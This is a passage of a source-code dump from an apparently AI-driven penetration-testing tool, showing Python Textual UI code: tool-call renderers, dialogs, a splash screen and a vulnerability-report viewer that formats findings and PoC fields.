result.get(\"error\", \"Failed to reopen todo\")\n                text.append(\"\\n  \")\n                text.append(error, style=\"#ef4444\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Reopening...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass DeleteTodoRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"delete_todo\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"todo-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"📋 \")\n        text.append(\"Todo Removed\", style=\"bold #94a3b8\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict):\n            if result.get(\"success\"):\n                _format_todo_lines(text, result)\n            else:\n                error = result.get(\"error\", \"Failed to remove todo\")\n                text.append(\"\\n  \")\n                text.append(error, style=\"#ef4444\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Removing...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/user_message_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass UserMessageRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"user_message\"\n    css_classes: ClassVar[list[str]] = [\"chat-message\", \"user-message\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        content = tool_data.get(\"content\", \"\")\n\n        if not content:\n            return Static(Text(), classes=\" \".join(cls.css_classes))\n\n        styled_text = cls._format_user_message(content)\n\n        return Static(styled_text, classes=\" \".join(cls.css_classes))\n\n    @classmethod\n    def render_simple(cls, content: str) -> Text:\n        if not content:\n            return Text()\n\n        return cls._format_user_message(content)\n\n    @classmethod\n    def _format_user_message(cls, content: str) -> Text:\n        text = Text()\n\n        text.append(\"▍\", style=\"#3b82f6\")\n        text.append(\" \")\n        text.append(\"You:\", style=\"bold\")\n        text.append(\"\\n\")\n\n        lines = content.split(\"\\n\")\n        for i, line in enumerate(lines):\n            if i > 0:\n                text.append(\"\\n\")\n            text.append(\"▍\", style=\"#3b82f6\")\n            text.append(\" \")\n            text.append(line)\n\n        return text\n"
  },
  {
    "path": "strix/interface/tool_components/web_search_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass WebSearchRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"web_search\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"web-search-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        query = args.get(\"query\", \"\")\n\n        text = Text()\n        text.append(\"🌐 \")\n        text.append(\"Searching the web...\", style=\"bold #60a5fa\")\n\n        if query:\n            text.append(\"\\n  \")\n            text.append(query, style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tui.py",
    "content": "import argparse\nimport asyncio\nimport atexit\nimport logging\nimport signal\nimport sys\nimport threading\nfrom collections.abc import Callable\nfrom importlib.metadata import PackageNotFoundError\nfrom importlib.metadata import version as pkg_version\nfrom typing import TYPE_CHECKING, Any, ClassVar\n\n\nif TYPE_CHECKING:\n    from textual.timer import Timer\n\nfrom rich.align import Align\nfrom rich.console import Group\nfrom rich.panel import Panel\nfrom rich.style import Style\nfrom rich.text import Span, Text\nfrom textual import events, on\nfrom textual.app import App, ComposeResult\nfrom textual.binding import Binding\nfrom textual.containers import Grid, Horizontal, Vertical, VerticalScroll\nfrom textual.reactive import reactive\nfrom textual.screen import ModalScreen\nfrom textual.widgets import Button, Label, Static, TextArea, Tree\nfrom textual.widgets.tree import TreeNode\n\nfrom strix.agents.StrixAgent import StrixAgent\nfrom strix.interface.streaming_parser import parse_streaming_content\nfrom strix.interface.tool_components.agent_message_renderer import AgentMessageRenderer\nfrom strix.interface.tool_components.registry import get_tool_renderer\nfrom strix.interface.tool_components.user_message_renderer import UserMessageRenderer\nfrom strix.interface.utils import build_tui_stats_text\nfrom strix.llm.config import LLMConfig\nfrom strix.telemetry.tracer import Tracer, set_global_tracer\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_package_version() -> str:\n    try:\n        return pkg_version(\"strix-agent\")\n    except PackageNotFoundError:\n        return \"dev\"\n\n\nclass ChatTextArea(TextArea):  # type: ignore[misc]\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self._app_reference: StrixTUIApp | None = None\n\n    def set_app_reference(self, app: \"StrixTUIApp\") -> None:\n        self._app_reference = app\n\n    def on_mount(self) -> None:\n        self._update_height()\n\n    def _on_key(self, event: events.Key) -> None:\n        if event.key == \"shift+enter\":\n            self.insert(\"\\n\")\n            event.prevent_default()\n            return\n\n        if event.key == \"enter\" and self._app_reference:\n            text_content = str(self.text)  # type: ignore[has-type]\n            message = text_content.strip()\n            if message:\n                self.text = \"\"\n\n                self._app_reference._send_user_message(message)\n\n                event.prevent_default()\n                return\n\n        super()._on_key(event)\n\n    @on(TextArea.Changed)  # type: ignore[misc]\n    def _update_height(self, _event: TextArea.Changed | None = None) -> None:\n        if not self.parent:\n            return\n\n        line_count = self.document.line_count\n        target_lines = min(max(1, line_count), 8)\n\n        new_height = target_lines + 2\n\n        if self.parent.styles.height != new_height:\n            self.parent.styles.height = new_height\n            self.scroll_cursor_visible()\n\n\nclass SplashScreen(Static):  # type: ignore[misc]\n    ALLOW_SELECT = False\n    PRIMARY_GREEN = \"#22c55e\"\n    BANNER = (\n        \" ███████╗████████╗██████╗ ██╗██╗  ██╗\\n\"\n        \" ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝\\n\"\n        \" ███████╗   ██║   ██████╔╝██║ ╚███╔╝\\n\"\n        \" ╚════██║   ██║   ██╔══██╗██║ ██╔██╗\\n\"\n        \" ███████║   ██║   ██║  ██║██║██╔╝ ██╗\\n\"\n        \" ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚═╝╚═╝  ╚═╝\"\n    )\n\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self._animation_step = 0\n        self._animation_timer: Timer | None = None\n        self._panel_static: Static | None = None\n        self._version = \"dev\"\n\n    def compose(self) -> ComposeResult:\n        self._version = get_package_version()\n        self._animation_step = 0\n        start_line = self._build_start_line_text(self._animation_step)\n        panel = self._build_panel(start_line)\n\n        panel_static = Static(panel, id=\"splash_content\")\n        self._panel_static = panel_static\n        yield panel_static\n\n    def on_mount(self) -> None:\n        self._animation_timer = self.set_interval(0.05, self._animate_start_line)\n\n    def on_unmount(self) -> None:\n        if self._animation_timer is not None:\n            self._animation_timer.stop()\n            self._animation_timer = None\n\n    def _animate_start_line(self) -> None:\n        if not self._panel_static:\n            return\n\n        self._animation_step += 1\n        start_line = self._build_start_line_text(self._animation_step)\n        panel = self._build_panel(start_line)\n        self._panel_static.update(panel)\n\n    def _build_panel(self, start_line: Text) -> Panel:\n        content = Group(\n            Align.center(Text(self.BANNER.strip(\"\\n\"), style=self.PRIMARY_GREEN, justify=\"center\")),\n            Align.center(Text(\" \")),\n            Align.center(self._build_welcome_text()),\n            Align.center(self._build_version_text()),\n            Align.center(self._build_tagline_text()),\n            Align.center(Text(\" \")),\n            Align.center(start_line.copy()),\n            Align.center(Text(\" \")),\n            Align.center(self._build_url_text()),\n        )\n\n        return Panel.fit(content, border_style=self.PRIMARY_GREEN, padding=(1, 6))\n\n    def _build_url_text(self) -> Text:\n        return Text(\"strix.ai\", style=Style(color=self.PRIMARY_GREEN, bold=True))\n\n    def _build_welcome_text(self) -> Text:\n        text = Text(\"Welcome to \", style=Style(color=\"white\", bold=True))\n        text.append(\"Strix\", style=Style(color=self.PRIMARY_GREEN, bold=True))\n        text.append(\"!\", style=Style(color=\"white\", bold=True))\n        return text\n\n    def _build_version_text(self) -> Text:\n        return Text(f\"v{self._version}\", style=Style(color=\"white\", dim=True))\n\n    def _build_tagline_text(self) -> Text:\n        return Text(\"Open-source AI hackers for your apps\", style=Style(color=\"white\", dim=True))\n\n    def _build_start_line_text(self, phase: int) -> Text:\n        full_text = \"Starting Strix Agent\"\n        text_len = len(full_text)\n\n        shine_pos = phase % (text_len + 8)\n\n        text = Text()\n        for i, char in enumerate(full_text):\n            dist = abs(i - shine_pos)\n\n            if dist <= 1:\n                style = Style(color=\"bright_white\", bold=True)\n            elif dist <= 3:\n                style = Style(color=\"white\", bold=True)\n            elif dist <= 5:\n                style = Style(color=\"#a3a3a3\")\n            else:\n                style = Style(color=\"#525252\")\n\n            text.append(char, style=style)\n\n        return text\n\n\nclass HelpScreen(ModalScreen):  # type: ignore[misc]\n    def compose(self) -> ComposeResult:\n        yield Grid(\n            Label(\"Strix Help\", id=\"help_title\"),\n            Label(\n                \"F1        Help\\nCtrl+Q/C  Quit\\nESC       Stop Agent\\n\"\n                \"Enter     Send message to agent\\nTab       Switch panels\\n↑/↓       Navigate tree\",\n                id=\"help_content\",\n            ),\n            id=\"dialog\",\n        )\n\n    def on_key(self, _event: events.Key) -> None:\n        self.app.pop_screen()\n\n\nclass StopAgentScreen(ModalScreen):  # type: ignore[misc]\n    def __init__(self, agent_name: str, agent_id: str):\n        super().__init__()\n        self.agent_name = agent_name\n        self.agent_id = agent_id\n\n    def compose(self) -> ComposeResult:\n        yield Grid(\n            Label(f\"🛑 Stop '{self.agent_name}'?\", id=\"stop_agent_title\"),\n            Grid(\n                Button(\"Yes\", variant=\"error\", id=\"stop_agent\"),\n                Button(\"No\", variant=\"default\", id=\"cancel_stop\"),\n                id=\"stop_agent_buttons\",\n            ),\n            id=\"stop_agent_dialog\",\n        )\n\n    def on_mount(self) -> None:\n        cancel_button = self.query_one(\"#cancel_stop\", Button)\n        cancel_button.focus()\n\n    def on_key(self, event: events.Key) -> None:\n        if event.key in (\"left\", \"right\", \"up\", \"down\"):\n            focused = self.focused\n\n            if focused and focused.id == \"stop_agent\":\n                cancel_button = self.query_one(\"#cancel_stop\", Button)\n                cancel_button.focus()\n            else:\n                stop_button = self.query_one(\"#stop_agent\", Button)\n                stop_button.focus()\n\n            event.prevent_default()\n        elif event.key == \"enter\":\n            focused = self.focused\n            if focused and isinstance(focused, Button):\n                focused.press()\n            event.prevent_default()\n        elif event.key == \"escape\":\n            self.app.pop_screen()\n            event.prevent_default()\n\n    def on_button_pressed(self, event: Button.Pressed) -> None:\n        self.app.pop_screen()\n        if event.button.id == \"stop_agent\":\n            self.app.action_confirm_stop_agent(self.agent_id)\n\n\nclass VulnerabilityDetailScreen(ModalScreen):  # type: ignore[misc]\n    \"\"\"Modal screen to display vulnerability details.\"\"\"\n\n    SEVERITY_COLORS: ClassVar[dict[str, str]] = {\n        \"critical\": \"#dc2626\",  # Red\n        \"high\": \"#ea580c\",  # Orange\n        \"medium\": \"#d97706\",  # Amber\n        \"low\": \"#22c55e\",  # Green\n        \"info\": \"#3b82f6\",  # Blue\n    }\n\n    FIELD_STYLE: ClassVar[str] = \"bold #4ade80\"\n\n    def __init__(self, vulnerability: dict[str, Any]) -> None:\n        super().__init__()\n        self.vulnerability = vulnerability\n\n    def compose(self) -> ComposeResult:\n        content = self._render_vulnerability()\n        yield Grid(\n            VerticalScroll(Static(content, id=\"vuln_detail_content\"), id=\"vuln_detail_scroll\"),\n            Horizontal(\n                Button(\"Copy\", variant=\"default\", id=\"copy_vuln_detail\"),\n                Button(\"Done\", variant=\"default\", id=\"close_vuln_detail\"),\n                id=\"vuln_detail_buttons\",\n            ),\n            id=\"vuln_detail_dialog\",\n        )\n\n    def on_mount(self) -> None:\n        close_button = self.query_one(\"#close_vuln_detail\", Button)\n        close_button.focus()\n\n    def _get_cvss_color(self, cvss_score: float) -> str:\n        if cvss_score >= 9.0:\n            return \"#dc2626\"\n        if cvss_score >= 7.0:\n            return \"#ea580c\"\n        if cvss_score >= 4.0:\n            return \"#d97706\"\n        if cvss_score >= 0.1:\n            return \"#65a30d\"\n        return \"#6b7280\"\n\n    def _highlight_python(self, code: str) -> Text:\n        try:\n            from pygments.lexers import PythonLexer\n            from pygments.styles import get_style_by_name\n\n            lexer = PythonLexer()\n            style = get_style_by_name(\"native\")\n            colors = {\n                token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]\n            }\n\n            text = Text()\n            for token_type, token_value in lexer.get_tokens(code):\n                if not token_value:\n                    continue\n                color = None\n                tt = token_type\n                while tt:\n                    if tt in colors:\n                        color = colors[tt]\n                        break\n                    tt = tt.parent\n                text.append(token_value, style=color)\n        except (ImportError, KeyError, AttributeError):\n            return Text(code)\n        else:\n            return text\n\n    def _render_vulnerability(self) -> Text:  # noqa: PLR0912, PLR0915\n        vuln = self.vulnerability\n        text = Text()\n\n        text.append(\"🐞 \")\n        text.append(\"Vulnerability Report\", style=\"bold #ea580c\")\n\n        agent_name = vuln.get(\"agent_name\", \"\")\n        if agent_name:\n            text.append(\"\\n\\n\")\n            text.append(\"Agent: \", style=self.FIELD_STYLE)\n            text.append(agent_name)\n\n        title = vuln.get(\"title\", \"\")\n        if title:\n            text.append(\"\\n\\n\")\n            text.append(\"Title: \", style=self.FIELD_STYLE)\n            text.append(title)\n\n        severity = vuln.get(\"severity\", \"\")\n        if severity:\n            text.append(\"\\n\\n\")\n            text.append(\"Severity: \", style=self.FIELD_STYLE)\n            severity_color = self.SEVERITY_COLORS.get(severity.lower(), \"#6b7280\")\n            text.append(severity.upper(), style=f\"bold {severity_color}\")\n\n        cvss_score = vuln.get(\"cvss\")\n        if cvss_score is not None:\n            text.append(\"\\n\\n\")\n            text.append(\"CVSS Score: \", style=self.FIELD_STYLE)\n            cvss_color = self._get_cvss_color(float(cvss_score))\n            text.append(str(cvss_score), style=f\"bold {cvss_color}\")\n\n        target = vuln.get(\"target\", \"\")\n        if target:\n            text.append(\"\\n\\n\")\n            text.append(\"Target: \", style=self.FIELD_STYLE)\n            text.append(target)\n\n        endpoint = vuln.get(\"endpoint\", \"\")\n        if endpoint:\n            text.append(\"\\n\\n\")\n            text.append(\"Endpoint: \", style=self.FIELD_STYLE)\n            text.append(endpoint)\n\n        method = vuln.get(\"method\", \"\")\n        if method:\n            text.append(\"\\n\\n\")\n            text.append(\"Method: \", style=self.FIELD_STYLE)\n            text.append(method)\n\n        cve = vuln.get(\"cve\", \"\")\n        if cve:\n            text.append(\"\\n\\n\")\n            text.append(\"CVE: \", style=self.FIELD_STYLE)\n            text.append(cve)\n\n        # CVSS breakdown\n        cvss_breakdown = vuln.get(\"cvss_breakdown\", {})\n        if cvss_breakdown:\n            cvss_parts = []\n            if cvss_breakdown.get(\"attack_vector\"):\n                cvss_parts.append(f\"AV:{cvss_breakdown['attack_vector']}\")\n            if cvss_breakdown.get(\"attack_complexity\"):\n                cvss_parts.append(f\"AC:{cvss_breakdown['attack_complexity']}\")\n            if cvss_breakdown.get(\"privileges_required\"):\n                cvss_parts.append(f\"PR:{cvss_breakdown['privileges_required']}\")\n            if cvss_breakdown.get(\"user_interaction\"):\n                cvss_parts.append(f\"UI:{cvss_breakdown['user_interaction']}\")\n            if cvss_breakdown.get(\"scope\"):\n                cvss_parts.append(f\"S:{cvss_breakdown['scope']}\")\n            if cvss_breakdown.get(\"confidentiality\"):\n                cvss_parts.append(f\"C:{cvss_breakdown['confidentiality']}\")\n            if cvss_breakdown.get(\"integrity\"):\n                cvss_parts.append(f\"I:{cvss_breakdown['integrity']}\")\n            if cvss_breakdown.get(\"availability\"):\n                cvss_parts.append(f\"A:{cvss_breakdown['availability']}\")\n            if cvss_parts:\n                text.append(\"\\n\\n\")\n                text.append(\"CVSS Vector: \", style=self.FIELD_STYLE)\n                text.append(\"/\".join(cvss_parts), style=\"dim\")\n\n        description = vuln.get(\"description\", \"\")\n        if description:\n            text.append(\"\\n\\n\")\n            text.append(\"Description\", style=self.FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(description)\n\n        impact = vuln.get(\"impact\", \"\")\n        if impact:\n            text.append(\"\\n\\n\")\n            text.append(\"Impact\", style=self.FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(impact)\n\n        technical_analysis = vuln.get(\"technical_analysis\", \"\")\n        if technical_analysis:\n            text.append(\"\\n\\n\")\n            text.append(\"Technical Analysis\", style=self.FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(technical_analysis)\n\n        poc_description = vuln.get(\"poc_description\", \"\")\n        if poc_description:\n            text.append(\"\\n\\n\")\n            text.append(\"PoC Description\", style=self.FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(poc_description)\n\n        poc_script_code = vuln.get(\"poc_script_code\", \"\")\n        if poc_script_code:\n            text.append(\"\\n\\n\")\n            text.append(\"PoC Code\", style=self.FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append_text(self._highlight_python(poc_script_code))\n\n        remediation_steps = vuln.get(\"remediation_steps\", \"\")\n        if remediation_steps:\n            text.append(\"\\n\\n\")\n            text.append(\"Remediation\", style=self.FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(remediation_steps)\n\n        return text\n\n    def _get_markdown_report(self) -> str:  # noqa: PLR0912, PLR0915\n        \"\"\"Get Markdown version of vulnerability report for clipboard.\"\"\"\n        vuln = self.vulnerability\n        lines: list[str] = []\n\n        # Title\n        title = vuln.get(\"title\", \"Untitled Vulnerability\")\n        lines.append(f\"# {title}\")\n        lines.append(\"\")\n\n        # Metadata\n        if vuln.get(\"id\"):\n            lines.append(f\"**ID:** {vuln['id']}\")\n        if vuln.get(\"severity\"):\n            lines.append(f\"**Severity:** {vuln['severity'].upper()}\")\n        if vuln.get(\"timestamp\"):\n            lines.append(f\"**Found:** {vuln['timestamp']}\")\n        if vuln.get(\"agent_name\"):\n            lines.append(f\"**Agent:** {vuln['agent_name']}\")\n        if vuln.get(\"target\"):\n            lines.append(f\"**Target:** {vuln['target']}\")\n        if vuln.get(\"endpoint\"):\n            lines.append(f\"**Endpoint:** {vuln['endpoint']}\")\n        if vuln.get(\"method\"):\n            lines.append(f\"**Method:** {vuln['method']}\")\n        if vuln.get(\"cve\"):\n            lines.append(f\"**CVE:** {vuln['cve']}\")\n        if vuln.get(\"cvss\") is not None:\n            lines.append(f\"**CVSS:** {vuln['cvss']}\")\n\n        # CVSS Vector\n        cvss_breakdown = vuln.get(\"cvss_breakdown\", {})\n        if cvss_breakdown:\n            abbrevs = {\n                \"attack_vector\": \"AV\",\n                \"attack_complexity\": \"AC\",\n                \"privileges_required\": \"PR\",\n                \"user_interaction\": \"UI\",\n                \"scope\": \"S\",\n                \"confidentiality\": \"C\",\n                \"integrity\": \"I\",\n                \"availability\": \"A\",\n            }\n            parts = [\n                f\"{abbrevs.get(k, k)}:{v}\" for k, v in cvss_breakdown.items() if v and k in abbrevs\n            ]\n            if parts:\n                lines.append(f\"**CVSS Vector:** {'/'.join(parts)}\")\n\n        # Description\n        lines.append(\"\")\n        lines.append(\"## Description\")\n        lines.append(\"\")\n        lines.append(vuln.get(\"description\") or \"No description provided.\")\n\n        # Impact\n        if vuln.get(\"impact\"):\n            lines.extend([\"\", \"## Impact\", \"\", vuln[\"impact\"]])\n\n        # Technical Analysis\n        if vuln.get(\"technical_analysis\"):\n            lines.extend([\"\", \"## Technical Analysis\", \"\", vuln[\"technical_analysis\"]])\n\n        # Proof of Concept\n        if vuln.get(\"poc_description\") or vuln.get(\"poc_script_code\"):\n            lines.extend([\"\", \"## Proof of Concept\", \"\"])\n            if vuln.get(\"poc_description\"):\n                lines.append(vuln[\"poc_description\"])\n                lines.append(\"\")\n            if vuln.get(\"poc_script_code\"):\n                lines.append(\"```python\")\n                lines.append(vuln[\"poc_script_code\"])\n                lines.append(\"```\")\n\n        # Code Analysis\n        if vuln.get(\"code_locations\"):\n            lines.extend([\"\", \"## Code Analysis\", \"\"])\n            for i, loc in enumerate(vuln[\"code_locations\"]):\n                file_ref = loc.get(\"file\", \"unknown\")\n                line_ref = \"\"\n                if loc.get(\"start_line\") is not None:\n                    if loc.get(\"end_line\") and loc[\"end_line\"] != loc[\"start_line\"]:\n                        line_ref = f\" (lines {loc['start_line']}-{loc['end_line']})\"\n                    else:\n                        line_ref = f\" (line {loc['start_line']})\"\n                lines.append(f\"**Location {i + 1}:** `{file_ref}`{line_ref}\")\n                if loc.get(\"label\"):\n                    lines.append(f\"  {loc['label']}\")\n                if loc.get(\"snippet\"):\n                    lines.append(f\"```\\n{loc['snippet']}\\n```\")\n                if loc.get(\"fix_before\") or loc.get(\"fix_after\"):\n                    lines.append(\"**Suggested Fix:**\")\n                    lines.append(\"```diff\")\n                    if loc.get(\"fix_before\"):\n                        lines.extend(f\"- {line}\" for line in loc[\"fix_before\"].splitlines())\n                    if loc.get(\"fix_after\"):\n                        lines.extend(f\"+ {line}\" for line in loc[\"fix_after\"].splitlines())\n                    lines.append(\"```\")\n                lines.append(\"\")\n\n        # Remediation\n        if vuln.get(\"remediation_steps\"):\n            lines.extend([\"\", \"## Remediation\", \"\", vuln[\"remediation_steps\"]])\n\n        lines.append(\"\")\n        return \"\\n\".join(lines)\n\n    def on_key(self, event: events.Key) -> None:\n        if event.key == \"escape\":\n            self.app.pop_screen()\n            event.prevent_default()\n\n    def on_button_pressed(self, event: Button.Pressed) -> None:\n        if event.button.id == \"copy_vuln_detail\":\n            markdown_text = self._get_markdown_report()\n            self.app.copy_to_clipboard(markdown_text)\n\n            copy_button = self.query_one(\"#copy_vuln_detail\", Button)\n            copy_button.label = \"Copied!\"\n            self.set_timer(1.5, lambda: setattr(copy_button, \"label\", \"Copy\"))\n        elif event.button.id == \"close_vuln_detail\":\n            self.app.pop_screen()\n\n\nclass VulnerabilityItem(Static):  # type: ignore[misc]\n    \"\"\"A clickable vulnerability item.\"\"\"\n\n    def __init__(self, label: Text, vuln_data: dict[str, Any], **kwargs: Any) -> None:\n        super().__init__(label, **kwargs)\n        self.vuln_data = vuln_data\n\n    def on_click(self, _event: events.Click) -> None:\n        \"\"\"Handle click to open vulnerability detail.\"\"\"\n        self.app.push_screen(VulnerabilityDetailScreen(self.vuln_data))\n\n\nclass VulnerabilitiesPanel(VerticalScroll):  # type: ignore[misc]\n    \"\"\"A scrollable panel showing found vulnerabilities with severity-colored dots.\"\"\"\n\n    SEVERITY_COLORS: ClassVar[dict[str, str]] = {\n        \"critical\": \"#dc2626\",  # Red\n        \"high\": \"#ea580c\",  # Orange\n        \"medium\": \"#d97706\",  # Amber\n        \"low\": \"#22c55e\",  # Green\n        \"info\": \"#3b82f6\",  # Blue\n    }\n\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self._vulnerabilities: list[dict[str, Any]] = []\n\n    def compose(self) -> ComposeResult:\n        return []\n\n    def update_vulnerabilities(self, vulnerabilities: list[dict[str, Any]]) -> None:\n        \"\"\"Update the list of vulnerabilities and re-render.\"\"\"\n        if self._vulnerabilities == vulnerabilities:\n            return\n        self._vulnerabilities = list(vulnerabilities)\n        self._render_panel()\n\n    def _render_panel(self) -> None:\n        \"\"\"Render the vulnerabilities panel content.\"\"\"\n        for child in list(self.children):\n            if isinstance(child, VulnerabilityItem):\n                child.remove()\n\n        if not self._vulnerabilities:\n            return\n\n        for vuln in self._vulnerabilities:\n            severity = vuln.get(\"severity\", \"info\").lower()\n            title = vuln.get(\"title\", \"Unknown Vulnerability\")\n            color = self.SEVERITY_COLORS.get(severity, \"#3b82f6\")\n\n            label = Text()\n            label.append(\"● \", style=Style(color=color))\n            label.append(title, style=Style(color=\"#d4d4d4\"))\n\n            item = VulnerabilityItem(label, vuln, classes=\"vuln-item\")\n            self.mount(item)\n\n\nclass QuitScreen(ModalScreen):  # type: ignore[misc]\n    def compose(self) -> ComposeResult:\n        yield Grid(\n            Label(\"Quit Strix?\", id=\"quit_title\"),\n            Grid(\n                Button(\"Yes\", variant=\"error\", id=\"quit\"),\n                Button(\"No\", variant=\"default\", id=\"cancel\"),\n                id=\"quit_buttons\",\n            ),\n            id=\"quit_dialog\",\n        )\n\n    def on_mount(self) -> None:\n        cancel_button = self.query_one(\"#cancel\", Button)\n        cancel_button.focus()\n\n    def on_key(self, event: events.Key) -> None:\n        if event.key in (\"left\", \"right\", \"up\", \"down\"):\n            focused = self.focused\n\n            if focused and focused.id == \"quit\":\n                cancel_button = self.query_one(\"#cancel\", Button)\n                cancel_button.focus()\n            else:\n                quit_button = self.query_one(\"#quit\", Button)\n                quit_button.focus()\n\n            event.prevent_default()\n        elif event.key == \"enter\":\n            focused = self.focused\n            if focused and isinstance(focused, Button):\n                focused.press()\n            event.prevent_default()\n        elif event.key == \"escape\":\n            self.app.pop_screen()\n            event.prevent_default()\n\n    def on_button_pressed(self, event: Button.Pressed) -> None:\n        if event.button.id == \"quit\":\n            self.app.action_custom_quit()\n        else:\n            self.app.pop_screen()\n\n\nclass StrixTUIApp(App):  # type: ignore[misc]\n    CSS_PATH = \"assets/tui_styles.tcss\"\n    ALLOW_SELECT = True\n\n    SIDEBAR_MIN_WIDTH = 120\n\n    selected_agent_id: reactive[str | None] = reactive(default=None)\n    show_splash: reactive[bool] = reactive(default=True)\n\n    BINDINGS: ClassVar[list[Binding]] = [\n        Binding(\"f1\", \"toggle_help\", \"Help\", priority=True),\n        Binding(\"ctrl+q\", \"request_quit\", \"Quit\", priority=True),\n        Binding(\"ctrl+c\", \"request_quit\", \"Quit\", priority=True),\n        Binding(\"escape\", \"stop_selected_agent\", \"Stop Agent\", priority=True),\n    ]\n\n    def __init__(self, args: argparse.Namespace):\n        super().__init__()\n        self.args = args\n        self.scan_config = self._build_scan_config(args)\n        self.agent_config = self._build_agent_config(args)\n\n        self.tracer = Tracer(self.scan_config[\"run_name\"])\n        self.tracer.set_scan_config(self.scan_config)\n        set_global_tracer(self.tracer)\n\n        self.agent_nodes: dict[str, TreeNode] = {}\n\n        self._displayed_agents: set[str] = set()\n        self._displayed_events: list[str] = []\n\n        self._streaming_render_cache: dict[str, tuple[int, Any]] = {}\n        self._last_streaming_len: dict[str, int] = {}\n\n        self._scan_thread: threading.Thread | None = None\n        self._scan_stop_event = threading.Event()\n        self._scan_completed = threading.Event()\n\n        self._spinner_frame_index: int = 0  # Current animation frame index\n        self._sweep_num_squares: int = 6  # Number of squares in sweep animation\n        self._sweep_colors: list[str] = [\n            \"#000000\",  # Dimmest (shows dot)\n            \"#031a09\",\n            \"#052e16\",\n            \"#0d4a2a\",\n            \"#15803d\",\n            \"#22c55e\",\n            \"#4ade80\",\n            \"#86efac\",  # Brightest\n        ]\n        self._dot_animation_timer: Any | None = None\n\n        self._setup_cleanup_handlers()\n\n    def _build_scan_config(self, args: argparse.Namespace) -> dict[str, Any]:\n        return {\n            \"scan_id\": args.run_name,\n            \"targets\": args.targets_info,\n            \"user_instructions\": args.instruction or \"\",\n            \"run_name\": args.run_name,\n        }\n\n    def _build_agent_config(self, args: argparse.Namespace) -> dict[str, Any]:\n        scan_mode = getattr(args, \"scan_mode\", \"deep\")\n        llm_config = LLMConfig(scan_mode=scan_mode, interactive=True)\n\n        config = {\n            \"llm_config\": llm_config,\n            \"max_iterations\": 300,\n        }\n\n        if getattr(args, \"local_sources\", None):\n            config[\"local_sources\"] = args.local_sources\n\n        return config\n\n    def _setup_cleanup_handlers(self) -> None:\n        def cleanup_on_exit() -> None:\n            from strix.runtime import cleanup_runtime\n\n            self.tracer.cleanup()\n            cleanup_runtime()\n\n        def signal_handler(_signum: int, _frame: Any) -> None:\n            self.tracer.cleanup()\n            sys.exit(0)\n\n        atexit.register(cleanup_on_exit)\n        signal.signal(signal.SIGINT, signal_handler)\n        signal.signal(signal.SIGTERM, signal_handler)\n        if hasattr(signal, \"SIGHUP\"):\n            signal.signal(signal.SIGHUP, signal_handler)\n\n    def compose(self) -> ComposeResult:\n        if self.show_splash:\n            yield SplashScreen(id=\"splash_screen\")\n\n    def watch_show_splash(self, show_splash: bool) -> None:\n        if not show_splash and self.is_mounted:\n            try:\n                splash = self.query_one(\"#splash_screen\")\n                splash.remove()\n            except ValueError:\n                pass\n\n            main_container = Vertical(id=\"main_container\")\n\n            self.mount(main_container)\n\n            content_container = Horizontal(id=\"content_container\")\n            main_container.mount(content_container)\n\n            chat_area_container = Vertical(id=\"chat_area_container\")\n\n            chat_display = Static(\"\", id=\"chat_display\")\n            chat_history = VerticalScroll(chat_display, id=\"chat_history\")\n            chat_history.can_focus = True\n\n            status_text = Static(\"\", id=\"status_text\")\n            status_text.ALLOW_SELECT = False\n            keymap_indicator = Static(\"\", id=\"keymap_indicator\")\n            keymap_indicator.ALLOW_SELECT = False\n\n            agent_status_display = Horizontal(\n                status_text, keymap_indicator, id=\"agent_status_display\", classes=\"hidden\"\n            )\n\n            chat_prompt = Static(\"> \", id=\"chat_prompt\")\n            chat_prompt.ALLOW_SELECT = False\n            chat_input = ChatTextArea(\n                \"\",\n                id=\"chat_input\",\n                show_line_numbers=False,\n            )\n            chat_input.set_app_reference(self)\n            chat_input_container = Horizontal(chat_prompt, chat_input, id=\"chat_input_container\")\n\n            agents_tree = Tree(\"Agents\", id=\"agents_tree\")\n            agents_tree.root.expand()\n            agents_tree.show_root = False\n\n            agents_tree.show_guide = True\n            agents_tree.guide_depth = 3\n            